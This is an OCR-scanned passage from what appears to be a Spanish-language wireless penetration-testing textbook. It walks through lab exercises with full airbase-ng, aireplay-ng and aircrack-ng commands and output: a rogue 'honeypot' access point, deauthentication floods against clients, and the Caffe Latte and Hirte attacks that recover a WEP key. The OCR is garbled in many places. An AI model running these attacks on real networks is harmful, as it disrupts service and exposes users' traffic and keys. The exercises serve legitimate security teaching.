Session Edit View Bookmarks Settings Help

:~# airbase-ng --essid "Wireless Lab" -c 3 mon
12:47:59 Created tap interface at
12:47:59 Trying to set MTU on até to 1500
12:47:59 Trying to set MTU on mon@ to 1800
12:48:00 Access Point with BSSID 00:C0:CA:3E:BD:93 started.

12:48:48 Client 60:FB:42:D5:E4:01 associated (unencrypted) to ESSID: "Wireless Lab"

6. Ahora, vamos a tratar el segundo caso, que es la creacion de un falso punto de acceso Wireless Lab
en presencia de uno legitima. Volvamos a nuestro punto de acceso para asegurarnos que Wireless Lab
tiene disponible al cliente. Para este experimento, hemos creado el canal 3 en el punto de acceso.
Deje que el cliente se conecte al punto de acceso. Podemos comprobar esto en la pantalla de
airodump-ng, como se muestra a continuacién:

root@bt: ~ - Shell - Konsole

bn Edit View Bookmarks Settings Help

CH 3 ][ Elapsed: 46 s ][ 2011-83-23 12:56

BSSID PWR RXQ Beacons  #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25 -27 160 379 31 0 3 54e. OPN Wireless Lab
00:1E:40:53:02:FC -47 87 387 O @ 1 54 WPA TKIP PSK vivek
00:25:5E:17:€8:01 -69 0 3 0 0 1 54 OPN <length: @>
00:25:5E:17:€8:00 -70 1 4 O 0 1 54 WEP WEP swapnil
00:25:5E:17:€8:03 -70 0 3 6 0 1 54 OPN <length: 0>
BSSID STATION PWR Rate  Lost Packets Probes

(not associated) ©00:21:00:3E:10:65 -65 6 -1 [} 4

(not associated) 90:4C:E5:E7:B5:34 -70 0 - 1 [}] 3

(not associated) ©00:26:5E:17:AA:93 -72 0 -1 30 40 brindavan

(not associated) ©00:24:D6:2C:D3:40 -72 8 -1 [} 2

(not associated) 00:23:4E:3A:A3:E3 -73 0 -1 [}] 1

00:21:91:D2:8E:25 60:FB:42:D5:E4:01 -9 36e-24e 337 329 Wireless Lab,Vivek

7. Ahora vamos a plantear nuestro punto de acceso falso con el SSID Wireless Lab:

root@bt: ~ - Shell - Konsole

bn Edit View Bookmarks Settings Help

:~# airbase-ng --essid "Wireless Lab" -c 3 mon@
12:57:27 Created tap interface ato
12:57:27 Trying to set MTU on at® to 1560
12:57:27 Access Point with BSSID ©0:C0:CA:3E:BD:93 started.

8 Observe que el cliente sigue conectado al punto de acceso legitimo Wireless Lab:

root@bt: ~ - Shell - Konsole

bn Edit View Bookmarks Settings Help

CH 3 ][ Elapsed: 12 s ][ 2011-03-23 12:58

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25 -21 87 131 5 [} 3 54e. OPN Wireless Lab
00:1E:40:53:02:FC -48 87 122 [:] © 1 54 WPA TKIP PSK vivek

BSSID STATION PWR  Rate Lost Packets Probes

(not associated) ©00:26:5E:17:AA:93 -66 6 -1 11 6 brindavan

(not associated) 00:26:B6:11:67:E5 -68 0 -1 0 2 FinAirWifi

(not associated) ©0:24:D6:2C:D3:40 -72 0-1 0 1

00:21:91:D2:8E:25 60:FB:42:D5:E4:01 -9 0 -24e 7 171 Wireless Lab,Vivek




9 Ahora vamos a enviar mensajes de difusidon de de-autenticacién al cliente en nombre del punto de
acceso legitimo para romper su conexion :

root@bt: ~ - Shell No. 2 - Konsole

n Edit View Bookmarks Settings Help

:~# aireplay-ng --deauth 0 -a 00:21:91:D2:8E:25 mon®
13:32:14 Waiting for beacon frame (BSSID: 00:21:91:D2:8E:25) on channel 3
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).

13:32:14 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
13:32:14 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
13:32:15 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
13:32:15 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
13:32:16 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
13:32:16 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
13:32:17 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
13:32:17 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
13:32:18 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
13:32:18 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
13:32:19 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
13:32:19 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
13:32:20 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
13:32:20 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
13:32:21 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
13:32:21 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
13:32:22 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
13:32:22 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
13:32:22 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
13:32:23 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
13:32:23 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
13:32:24 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]

10. Suponiendo que la intensidad de la sefial de nuestro punto de acceso falsificado Wireless Lab es
mas fuerte que el legitimo, al cliente se conecta a nuestro punto de acceso falso, en lugar de al punto

root@bt: ~ - Shell No. 3 - Konsole
Session Edit View Bookmarks Settings Help

:~# airbase-ng --essid "Wireless Lab" -c 3 mon®
13:26:11 Created tap interface at®
13:26:11 Trying to set MTU on até to 1560
13:26:12 Access Point with BSSID 00:C0:CA:3E:BD:93 started.
13:32:56 Client 60:FB:42:D5:E4:01 associated (unencrypted) to ESSID: "Wireless Lab"

11 Se puede comprobar la misma observando la salida de airodump-ng para ver la nueva
asociacion del cliente con nuestro punto de acceso falso.:

root@bt: ~ - Shell - Konsole

bn Edit View Bookmarks Settings Help
CH 3 ][ Elapsed: 1 min ][ 2011-03-23 13:33
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
0 100 1256 234 (] 3 54 OPN Wireless Lab
0 100 592 0 0 3 54e. OPN Wireless Lab
-49 96 586 0 (] 1 54 WPA TKIP PSK vivek
-65 12 207 0 (] 2 54 WPA TKIP PSK laxmi
-70 ] 13 0 (] 1 54 OPN <length: 6>
-71 0 11 (] ] 1 54 WEP WEP swapnil
-71 ] 2 0 ] 1 54 OPN <length: 6>
BSSID STATION PWR  Rate Lost Packets Probes
:40: -1 1-90 ] 20
g -1 1-0 ] 24
00:C0:CA:3E:BD:93 -18 0 -1 ] 106 Wireless Lab
(not associated) -64 0 -1 [:] 27 brindavan
(not associated) -65 0 -1 ] 1
(not associated) -66 0 -1 ] 3
(not associated) -68 0 -1 ] 2 Anoop
(not associated) -69 0 -1 [¢] 1
(not associated) -69 0 -1 [¢] 2 FinAirWifi
(not associated) -72 0 -1 0 1
00:1E:40:53:02:FC -1 1-90 ) 1




¢0ué ha pasado?

Acabamos de crear un Honeypot mediante la lista investigada por el cliente y también con el mismo ESSID de los
puntos de acceso colindantes. En el primer caso, el cliente se conecta automaticamente a nosotros al buscar la
red. En este Ultimo caso, ya que estdbamos mas cerca del cliente que el punto de acceso real, nuestra fuerza de
la sefial es mayor vy los clientes se conectaron a nosotros.

Inténtalo rzar al cliente a conectarse con el Honeypot

En el ejercicio anterior, ¢qué hacemos si el cliente no se conecta automaticamente a nosotros? Habria que enviar
un paquete de de-autenticacidn para romper el acceso legitimo del cliente al de punto de conexién y luego, si
nuestra fuerza de la sefial es mayor el cliente se conectard al punto de acceso falso. Trate de hacer esto mediante
la conexidn de un cliente a un punto de acceso legitimo y a continuacidn obligarle a conectarse a nuestro
Honeypot.

Ataque Caffe Latte

En el ataque Honeypot nos dimos cuenta de que los clientes envian continuamente sondas (Probe Request) al
SSID que se han conectado anteriormente. Si el cliente se conecta a un punto de acceso mediante WEP, sistemas
operativos como Windows almacenan la clave WEP en la caché. La proxima vez que el cliente se conecte al
mismo punto de acceso, el gestor de configuracion de conexiones inaldmbricas de Windows utiliza
automdticamente la clave almacenada.

El ataque Caffe Latte fue inventado por mi, el autor de este libro y lo demostré en ToorCon 9, San Diego, EE.UU..
El ataque Caffe Latte es un ataque WEP, que permite a un hacker recuperar la clave WEP de la red autorizada
utilizando sélo el cliente. El ataque no requiere al cliente para estar en cualquier lugar de la red autorizada WEP.
Se puede obtener la clave WEP usando sélo al cliente aislado.

En el siguiente ejercicio, vamos a recuperar la clave WEP de una red de un cliente utilizando el ataque
Caffe Late

Parte practica - reaizacion del ataque Caffe Latte

Siga estas instrucciones para comenzar:

1. Primero vamos a establecer nuestro punto de acceso legitimo con WEP Wireless Lab con la clave
ABCDEFABCDEFABCDEF12 en hexadecimal

2. Vamos a conectar a nuestro cliente y asegurarnos de que la conexién ha sido un éxito con
airodump-ng como se muestra a continuacion:

root@bt: ~ - Shell - Konsole

Edit view Bookmarks Settings Help

CH 3 ][ Elapsed: © s ][ 2011-03-23 14:45

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:02:CF:D5:13:11 -66 [:] 5 [:] [:] 2 54 WPA TKIP PSK laxmi
00:25:5E:17:C8:03 -69 [:] 2 [:] [} 1 54 OPN <length: 0>
00:25:5E:17:C8:00 -70 [:] 4 [:] ] 1 54 WEP WEP swapnil
00:1E:40:53:02:FC -56 79 25 ] ] 1 54 WPA TKIP PSK vivek
00:21:91:D2:8E:25 -14 80 28 2 ] 3 54e. WEP WEP Wireless Lab
BSSID STATION PWR Rate Lost Packets Probes

(not associated) E4:EC:10:4F:AD:74 -67 e -1 93 14 Anocop

00:21:91:D2:8E:25 60:FB:42:D5:E4:01 -28 0 -36e 13 81 Wireless Lab,Vivek




3. Vamos a desconectar el punto de acceso y garantizar que el cliente esta en la etapa de no asociados
y a la busqueda de la clave WEP de la red Wireless Lab

root@bt: ~ - Shell - Konsole

n Edit View Bookmarks Settings Help

CH 3 ][ Elapsed: 8 s ][ 2011-03-23 14:46

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:25:5E:17:C8:00 -71 -] 3 ] ] 1l 54 WEP WEP swapnil
00:1E:40:53:02:FC -50 100 72 1 (<] 1 54 WPA TKIP PSK vwvivek
00:02:CF:D5:13:11 -68 16 9 2] 2] 2 54 WPA TKIP PSK laxmi
BSSID STATION PWR Rate Lost Packets Probes

(not associated) 60:FB:42:D5:E4:01 -14 0 -1 32 16 Wireless Lab,Vivek

4. Ahora usamos airbase—-ng para que aparezca un punto de acceso como el SSID Wireless Lab con
los parametros que se muestran a continuacion:

root@bt: ~ - Shell No. 3 - Konsole

Session Edit View Bookmarks Settings Help

:~# airbase-ng -c 3 -a 00:21:91:D2:8E:25 -e "Wireless Lab" -L -W 1 mon@
14:47:12 Created tap interface at®
14:47:12 Trying to set MTU on at® to 1580
14:47:13 Access Point with BSSID 00:21:91:D2:8E:25 started.

5. Tan pronto como el cliente se conecta al punto de acceso, airbase-ng comienza el ataque
Caffe-Latte como se muestra:

[N root@bt: ~ - Shell No. 3 - Konsole
Session Edit View Bookmarks Settings Help

:~# airbase-ng -c 3 -a 00:21:91:D2:8E:25 -e "Wireless Lab" -L -W 1 mon@
14:48:18 Created tap interface at®
14:48:18 Trying to set MTU on at0 to 1500
14:48:18 Access Point with BSSID 00:21:91:D2:8E:25 started.

14:48:31 Got 140 bytes keystream: 60:FB:42:D5:E4:01
14:48:31 SKA from 60:FB:42:D5:E4:01
14:48:31 SKA from 60:FB:42:D5:E4:01
14:48:31 SKA from 60:FB:42:D5:E4:01
14:48:31 SKA from 60:FB:42:D5:E4:01
14:48:31 SKA from 60:FB:42:D5:E4:01
14:48:31 SKA from 60:FB:42:D5:E4:01
14:48:31 SKA from 60:FB:42:D5:E4:01
14:48:31 SKA from 60:FB:42:D5:E4:01
14:48:31 SKA from 60:FB:42:D5:E4:01
14:48:31 SKA from 60:FB:42:D5:E4:01
14:48:31 SKA from 60:FB:42:D5:E4:01
14:48:31 SKA from 60:FB:42:D5:E4:01
14:48:31 SKA from 60:FB:42:D5:E4:01

14:48:31 Client 60:FB:42:D5:E4:01 associated (WEP) to Lab"
14:48:31 Client 60:FB:42:D5:E4:01 associated (WEP) to Lab"
14:48:31 C(lient 60:FB:42:D5:E4:01 associated (WEP) to Lab"
14:48:31 Client 60:FB:42:D5:E4:01 associated (WEP) to Lab"

14:48:31 Client 60:FB:42:D5:E4:01 associated (WEP) to 5 Lab"
14:48:31 Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
14:48:31 Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
14:48:31 Client 60:FB:42:D5:E4:01 associated (WEP) to Lab"
14:48:31 Client 60:FB:42:D5:E4:01 associated (WEP) to Lab"
14:48:31 Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
14:48:31 Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
14:48:31 Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"

14:48:57 Starting Caffe-Latte attack against 60:FB:42:D5:E4:01 at 100 pps.




6. Ahora ejecuta airodump-ng para recoger los paquetes de datos a partir de este punto de acceso
unico, como lo hicimos antes en el caso de WEP cracking:

root@bt: ~ - Shell - Konsole <2>
Session Edit View Bookmarks Settings Help

CH 11 ][ Elapsed: 30 mins ][ 2011-02-06 04:01 ][ 140 bytes keystream: 00:21:91:D2:8E:25
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25 -6 100 16387 11190 0 11 54e. WEP WEP SKA Wireless Lab
BSSID STATION PWR Rate Lost Packets Probes

00:21:91:D2:8E:25 60:FB:42:D5:E4:01 0 0 -1 [¢] 22026 Wireless Lab

7. También iniciamos aircrack-ng como en el ejercicio WEP para descifra como hicimos antes de
comenzar el proceso de craqueo. El comando seria aircrack-ng nombre-de-archivo donde
nombre-de-archivo es el nombre del archivo creado por airodump-ng:

- e root@bt: ~ - Shell - Konsole <3>
Session Edit View Bookmarks Settmgs HE\D
Aircrack-ng 1.0 rl645
[00:00:04] Tested 331777 keys (got 11111 IVs)

KB depth  byte(vote)
0 0/ 2 AB(17664) 1D(16640) 5A(15360) BA(15360) D1(15104) 07(14848) E8(14848) FO(14848)
1 0/ 1 DD(17664) 78(16384) BO(16384) 25(15104) 48(14848) 36(14592) 79(14336) OF(14080)
2 1/ 3 92(15872) 84(15616) 1A(15360) 38(15104) 14(14848) 29(14848) A1(14592) C1(14592)
3 1/ 2 7C(16896) FF(16384) 7A(16128) 12(15360) 47(15360) B7(15360) 85(15104) 94(15104)
4 3/ 4 0B(15872) CB(15616) OF(15104) B1(15104) A9(14848) C4(14848) 2A(14592) 36(14592)
5 2/ 3 46(14848) 47(14592) 5C(14592) 9A(14336) 30(14080) 46(14080) 4C(14080) 6A(14080)
6 3/ 4 2B(15104) 44(14592) A4(14592) EC(14592) 24(14080) 2B(14080) 3B(14080) 6D(14080)
7 1/ 2 56(15872) 0C(14848) 21(14848) 5C(14848) D8(14848) F9(14848) 2C(14336) 40(14336)
8 3/ 4 02(14848) D4(14592) E4(14592) 11(14336) 13(14336) 70(14336) BC(14336) 46(14080)
9 2/ 3 B3(16384) 5E(15872) D4(15872) 4C(15104) EB(14848) 6F(14592) BC(14592) EO(14592)
10 1/ 2 5B(15616) 03(14592) 24(14592) 5F(14592) 68(14592) EO(14592) 5E(14336) 95(14336)
11 2/ 3 (8(15616) A6(15360) 39(15104) D7(14848) 95(14592) BD(14592) 46(14336) 0B(14080)
12 5/ 6 6B(15104) 15(14848) 57(14848) 70(14592) CE(14592) BA(14336) 6F(14336) CA(14336)

8. Una vez que tengamos suficientes paquetes WEP encriptados, aircrack-ng logrard descifrar la
clave como se muestra a continuacion:

root@bt: ~ - Shell - Konsole <3>

Session Edit View Bookmarks Settings Help

Aircrack-ng 1.0 r1645

[00:25:36] Tested 1285089 keys (got 48988 IVs)

KB depth  byte(vote)

0 0/ 1 AB(75520) 4D(56576) 90(56320) 3A(56064) 2B(55552) B7(55552) BA(55552) CB(55552)
1 o/ 1 CD(72704) 6C(60160) 7A(59904) A0Q(57088) D6(56832) BC(56576) C5(56576) 1E(56320)
2 e/ 1 EF(69888) ED(58368) EE(57600) AF(57344) 9A(56832) 51(56320) A3(56320) C5(56320)
3 e/ 1 AB(64512) 47(60416) B9(60416) 5E(59392) Al(57856) 82(57600) E1(57088) E7(56576)
4 e/ 1 CD(65024) 7D(59904) 43(58624) F9(58112) 03(57088) EE(56576) 41(56320) 28(55552)
5 1/ 5 51(58112) 6D(57856) 72(57344) CE(57088) 44(56320) 5C(55808) 9E(55552) 05(55040)
6 0/ 1 AB(67584) A4(58624) 6D(58112) FB(57856) 16(57344) A2(57088) 24(56832) 91(56832)
7 e/ 1 CD(65024) 8B(58112) 40(57856) D5(57856) 81(57344) D6(57344) DA(57088) B8E(55808)
8 e/ 1 EF(67072) F7(58880) 66(58624) A8(57856) 5D(57344) AO(57344) 11(57088) CC(56832)
9 1/ 2 AB(59904) 86(57856) 41(57344) 94(57344) 0A(56576) 08(56320) 25(56064) A9(56064)
10 1/ 1 2C(58112) EO(57600) FB(57344) 47(56576) 9D(56576) C4(56576) 17(55552) 21(55552)
11 1/ 1 AB(57856) 48(57600) 9F(57600) 34(56832) AF(56320) D7(56320) 8D(56064) 22(55808)
12 1/ 2 12(57308) CE(55844) A4(55076) 1B(54892) 68(54784) CO(54784) 66(54748) 4F(54564)

KEY FOUND! [ AB:CD:EF:AB:CD:EF:AB:CD:EF:AB:CD:EF:12 ]
Decrypted correctly: 100%

~#




¢0ué ha pasado?

Hemos tenido éxito en la recuperacidn de la clave WEP a partir de sdlo el cliente inaldambrico sin necesidad de un
punto de acceso real a utilizar o presente en los alrededores. Este es el poder del ataque Caffe Latte.

El ataque funciona a capturando y repitiendo paquetes ARP enviados por la asociacién inaldmbrica del cliente
con el punto de acceso falso creado por nosotros. Estos bits volcaron Solicitud de paquetes ARP causando los
paquetes de respuesta ARP para ser enviados por el cliente inaldmbrico. Tenga en cuenta que todos estos
paquetes estén cifrados con la clave WEP almacenada en el cliente. Una vez que son capaces de reunir un gran
numero de estos paquetes de datos, aircrack-ng es capaz de recuperar la clave WEP facilmente.

Inténtalo - Con préctica lo hara perfecto

Pruebe a cambiar la clave WEP y repetir el ataque. Este es un ataque dificil y requiere cierta practica para
organizar con éxito. También seria una buena idea usar Wireshark y analizar el trafico en la red inaldmbrica.

Ataques de De-autenticacion y Dis-asociacion

Hemos visto ataques de de-autenticacion en los capitulos anteriores, asi como en el contexto del punto de
acceso. En este capitulo, vamos a explorar el mismo en el contexto del cliente.

En la siguiente practica de laboratorio, enviaremos paquetes de de-autenticacién sélo a los clientes y
romperemos una conexion establecida entre el punto de acceso y el cliente.

Inténtalo — Con practica lo hara perfecto

Siga las instrucciones para comenzar:

1. Primero vamos a poner nuestro punto de acceso Wireless Lab en linea de nuevo. Vamos a
mantenerlo en funcionamiento con WEP para demostrar que incluso con el cifrado activado, es
posible atacar el punto de acceso y la conexidn del cliente. Vamos a verificar que el punto de acceso
esta activo usando airodump-ng:

root@bt: ~ - Shell - Konsole

Session Eadit View Bookmarks Settings Help

CH 3 ][ Elapsed: 32 s ][ 2011-83-24 09:55

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25 -19 160 291 0 0 3 54e. WEP WEP Wireless Lab
BSSID STATION PWR  Rate Lost Packets Probes

(not associated) 10:9A:DD:F4:B4:BD -51 0 -1 0 9 vivek

(not associated) ©00:16:44:19:DF:0A -65 0-1 0 5

(not associated) 2C:81:58:EB:DD:CD -73 -1 (] 2

2. Vamos a conectar a nuestros clientes a este punto de acceso y verificarlo con airodump-ng:



root@bt: ~ - Shell - Konsole

Edit View Bookmarks Settings HEIp
CH 3 1[ Elapsed: 24 s 1[ 2011-03-24 10:22
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25 -19 100 255 8 @ 3 54e. WEP WEP Wireless Lab
00:25:5E:17:C8:00 -71 @ 5 [¢] 0 1 54 WEP WEP swapnil
00:25:5E:17:C8:02 -72 @ 3 [¢] 0 1 54 OPN <length: 6>
00:25:5E:17:C8:01 -72 @ 4 [¢] 0 1 54 OPN <length: ©>
00:25:5E:17:C8:03 -72 @ 2 [¢] 0 1 54 OPN <length: ©>
BSSID STATION PWR  Rate Lost Packets Probes
00:21:91:D2:8E:25 60:FB:42:D5:E4:01 -16 0 -36e 473 247 MWireless Lab,Vivek

3. Ahora vamos a ejecutar aireplay-ng con objetivo al cliente y la conexién de punto de acceso:

root@bt: ~ - Shell No. 2 - Konsole

Edit View Bookmarks Settings Help

:~# aireplay-ng --deauth 1 -c 60:FB:42:D5:E4:01 -a ©00:21:91:D2:8E:25 mon®
10:27:19 Waiting for beacon frame (BSSID: 00: :25) on channel 3
10:27:20 Sending 64 directed DeAuth. STMAC: [60:FB:42:D5:E4:01] [32]65 ACKs]

i~

~#

i

4. El cliente se desconecta y vuelve a intentar conectarse a el punto de acceso, se puede verificar esto
mediante el uso de Wireshark igual que antes:

Ble Edt Yoew Go Copture Anohze Statistics Telephony Jools tielp
SDHARAEY cuxeo= S 00f00 HE =0 F¥3K O
Fiter: | wian addr == 604b:42.d%:04:01 > | Bxpression... Clear Apply

Protoco | Info
1EEE 8.0

1EEE &

100, SSIDw"Wireless Lab*

o11 1 D-Link_d2:8e:25

 Frame 119: 33 bytes on ware (304 bits), 38 bytes ceptured (304 bits)
» Radiotep Meader vO, Length 12
v 1008 902.11 Desuthentication, Fla

yed: 203 Marked: 0 Dropped: 0 Profie; Defauk
I — —

D[ Fle: “mpiwiresharloOOOMLUTHE® &... | [ Packets: 584 Dis
h —

5. Hemos visto que incluso habiendo cifrado WEP, es posible la de-autenticacidn de un cliente y
desconectarlo. Lo mismo sirve incluso habiendo cifrado WPA/WPA2. Ahora vamos a establecer
nuestro punto de acceso con encriptacion WPA y verificamos la misma.



6. Vamos a conectar a nuestro cliente al punto de acceso y verificar si esta conectado.

= Shell - Konsole

Session Edit View Bookmarks Settings Help

CH 3 ][ Elapsed: 16 s ][ 2011-03-24 10:50

BSSID PWR RXQ Beacons  #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25 -17 96 166 5 0 3 5de. WPA2 CCMP  PSK Wireless Lab
BSSID STATION PWR  Rate Lost Packets Probes

(not associated) ©00:26:5€:7D:76:50 -72 0 - 1 30 3 nkna
(not associated) ©00:16:EA:7F:C9:1A -72 -1 0 3 Sunny
00:21:91:D2:8E:25 60:FB:42:D5:E4:01 -8 0 -1le 179 138 Wireless Lab,Vivek

7. Vamos a ejecutar aireplay-ng para desconectar el cliente del punto de acceso:

root@bt: ~ - Shell No. 2 - Konsole

Session Edit View Bookmarks Settings Help

:~# aireplay-ng --deauth 1 -c 60:FB:42:D5:E4:01 -a 00:21:91:D2:8E:25 mon®
10:51:36 Waiting for beacon frame (BSSID: 00:21:91:D2:8E:25) on channel 3
10:51:36 Sending 64 directed DeAuth. STMAC: [60:FB:42:D5:E4:01] [13]|64 ACKs]

~#

~#

~#
:-#I

8. Si usamos Wireshark podremos volver a comprobar que esto funciona asi:

Menulgdin View Go Copture Analyze Statistics Selephony Tools Melp

Bdee A= “00s00BE s=aP 03\ O

Fiter: | whan adde == 60:/b:42:d5 %401 + | Dxprassion... Clear Apply
No, Time Source Destination Protoco | Info *
196 9.5140%0  Apple_dS:ea:01 O Lank_d2:de: 25 150 B0 Deauthentication, SN=5, FN=0,

200 9.816311
201 9.518451
204 9.523068
206 0,523046
206 9.523049
207 9.52%277
208 9. 528569
210 9.530929
211 9.534289
213 9.536574
214 £.536704
215 9.539708
218 0.839708
217 9.539709
218 9.539710
219 9.539711
221 0.542085
242 9.545191

1E£E B0 Deauthentication, § EN=0,
FN=0,
TESE B0iOcauthentication, SNeB, FNsO,
Appla_ds: TREE 90;Dasuthentication, SNe6, FN=0,
D-Link_d2:0e:25 1 < 7, FN=D,
D-Link d2:8e:25 1608 B0 Desuthentication, Fii=

Apple dS:ed:01 1E€E B0 Oesuthentication,
Olink_d2:8e:25 1EEE B00eauthentication,
Apple_ds:

11, A0,
A0,
SNe13, RO,
IPET PO Deauthent N=B, FH=0, Flags
O-Link_d2:0e:25 166 D0iDesuthentication, =9, FN=0, Flags=.
Lcation,
B0 Desuthentication,
B80.Deauthentication,

s @

O.Link_d2:80:25
Apple_ds 01
DeLink_d2:80:75
o1
O-Link_d2:ie:2s

89, Deauthentication,

Apple_dS:e

00, Deauthentication,

224 9.548992 Apple_ds:
225 9.54974) Apple_ B0 Deauthentscation, S

54974

226 80 Deauthentication,

D/Link_d2:80:75

» Frame 3; 55 bytes on ware (440 bits), 56 bytes ceptured (448 bits) 4
¥ Radiotap Header vO, Length 26
= 1E£E 802.11 QoS Null function (No dats), Flags: ....R..TC

Type/Subtype: QoS Mull function {No data) (OwZc)

* Frame Control: c8 (Normal)

Duration: 268

Bss D-Link_d2:0e:25 (00:21:01:d2:0e:25)
2:d5: e4:01)
Link_d2:80:28 (00:21:91:d2:80

Fragment nurber: O
sequence nurbor: 480

® Frams check sequanca: OvsecS0193 [corract]
00 00 1a 00 2f 40 00 0O 13 O 70 32 02 €0 00 QO

10 30 76 09 <O 00 6 01 ©O0 00 ¢B 09 O;

1)) pe 25 60 fb a2 d5 eqa 01 00 21 01

o 00 a0 c5 01 93

Mireshark 2 < £ 0 Dropped: 0 Profile St




¢0ué ha pasado?

Acabamos de enterarnos de como desconectar un cliente inaldmbrico de forma selectiva desde el punto de
acceso mediante fames de de-autenticacidn, incluso en presencia de los esquemas de cifrado como
WEP/WPA/WPA2. Esto se hizo mediante el envio de un paquete de de-autenticacion a los clientes del punto de
acceso, en lugar de enviar una emisién de de-autenticacion a la red.

En el ejercicio anterior, se utilizd un ataque de de-autenticacion para romper la conexion. Trate de usar un
paquete de desasociacidn para romper la conexidn establecida entre un cliente y un punto de acceso.

Hirte atague

Ya hemos visto cémo llevar a cabo el ataque Caffe Latte. El ataque Hirte extiende el ataque Caffe Latte utilizando
técnicas de fragmentacion y permite que casi cualquier paquete se utilize.

Mas informacion sobre el ataque Hirte esta disponibe en el sitio de aircrack-ng

http://www.aircrack-ng.org/doku.php?id=hirte.

Ahora vamos a utilizar aircrack-ng para llevar a cabo el ataque Hirte en el mismo cliente.

Parte practica — Cracking WEP con atague Hirte

1. Cree un punto de acceso WEP exactamente como en el ataque Caffe Latte utilizando la herramienta
de airbase-ng. La Unica opcion adicional es la opcién -Nen lugardela opcién -1 para lanzar
el ataque Hirte:

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

:~# airbase-ng -c 3 -a 00:21:91:D2:8E:25 -e "Wireless Lab" -W 1 -N mon@
21:32:14 Created tap interface ate
21:32:14 Trying to set MTU on até to 1500
21:32:14 Trying to set MTU on mon@ to 1800
21:32:14 Access Point with BSSID 00:21:91:D2:8E:25 started.

2. Iniciar airodump—-ng en una ventana separada para capturar los paquetes para el Honeypot
Wireless Lab:

root@bt: ~ - Shell No. 2 - Konsole

Session Edit View Bookmarks Settings Help

:~# airodump-ng -c 3 --bssid 00:21:91:D2:8E:25 --write Hirte mono ]

3. Airodump-ng ahora iniciard el seguimiento de esta red y el almacenara los paquetes en un
archivo llamado Hirte-01.cap

root@bt: ~ - Shell No. 2 - Konsole

Session Edit View Bookmarks Settings Help

CH 3 ][ Elapsed: 16 s ][ 2011-06-27 21:34
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25 0 100 386 0 0 3 54 WEP WEP Wireless Lab

BSSID STATION PWR Rate Lost Packets Probes



http://www.aircrack-ng.org/doku.php?id=hirte

4. Una vez que el cliente se conecta al AP Honeypot, de forma automatica el ataque Hirte pone en
marcha airbase-ng:

ne root@bt: ~ - Shell - Konsole =

Session Edit View Bookmarks Settings Help

21:32:14 Trying to set MTU on mon® to 1800 E
21:32:14 Access Point with BSSID ©0:21:91:D2:8E:25 started.

21:35:42 Got 140 bytes keystream: 60:FB:42:D5:E4:01
21:35:42 SKA from 60:FB:42:D5:E4:01

21:35:42 SKA from 60:FB:42:D5:E4:01

21:35:42 SKA from 60:FB:42:D5:E4:01

21:35:42 SKA from 60:FB:42:D5:E4:01

21:35:42 SKA from 60:FB:42:D5:E4:01

21:35:42 SKA from 60:FB:42:D5:E4:01

21:35:42 SKA from 60:FB:42:D5:E4:01

21:35:42 SKA from 60:FB:42:D5:E4:01

21:35:42 SKA from 60:FB:42:D5:E4:01

21:35:42 SKA from 60:FB:42:D5:E4:
21:35:42 SKA from 60:FB:42:D5:E4:01

21:35:42 Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
21:35:42 Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
21:35:42 Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
21:35:42 Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
21:35:42 Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: “"Wireless Lab"
21:35:42 Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
21:35:42 Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
